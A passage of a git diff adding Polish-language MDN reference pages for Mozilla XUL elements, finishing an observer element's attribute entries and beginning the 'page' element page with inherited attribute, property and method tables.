+</dd><dd> Atrybut, który obserwuje obserwator. Kiedy wartość atrybutu zmieni się, zdarzenie rozgłaszacza jest wywoływane w obserwatorze. Zastosujemy wartość <code>*</code> do obserwacji wszystkich atrybutów rozgłaszaczy. Atrybuty <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>, <code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code> i <code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code> nie są obserwowane.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-element">
+
+<dl><dt> <code id="a-element"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/element">element</a></code>
+</dt><dd> Typ: <i>id elementu broadcaster</i>
+</dd><dd> Atrybut <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code>, którego obserwator jest obserwowany.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/page/index.html b/files/pl/mozilla/tech/xul/page/index.html
new file mode 100644
index 0000000000..1a78cace53
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/page/index.html
@@ -0,0 +1,92 @@
+---
+title: page
+slug: Mozilla/Tech/XUL/page
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/page
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Podobny do <code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code>, oprócz tego powinien być stosowany do plików XUL, które są wczytywane do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a 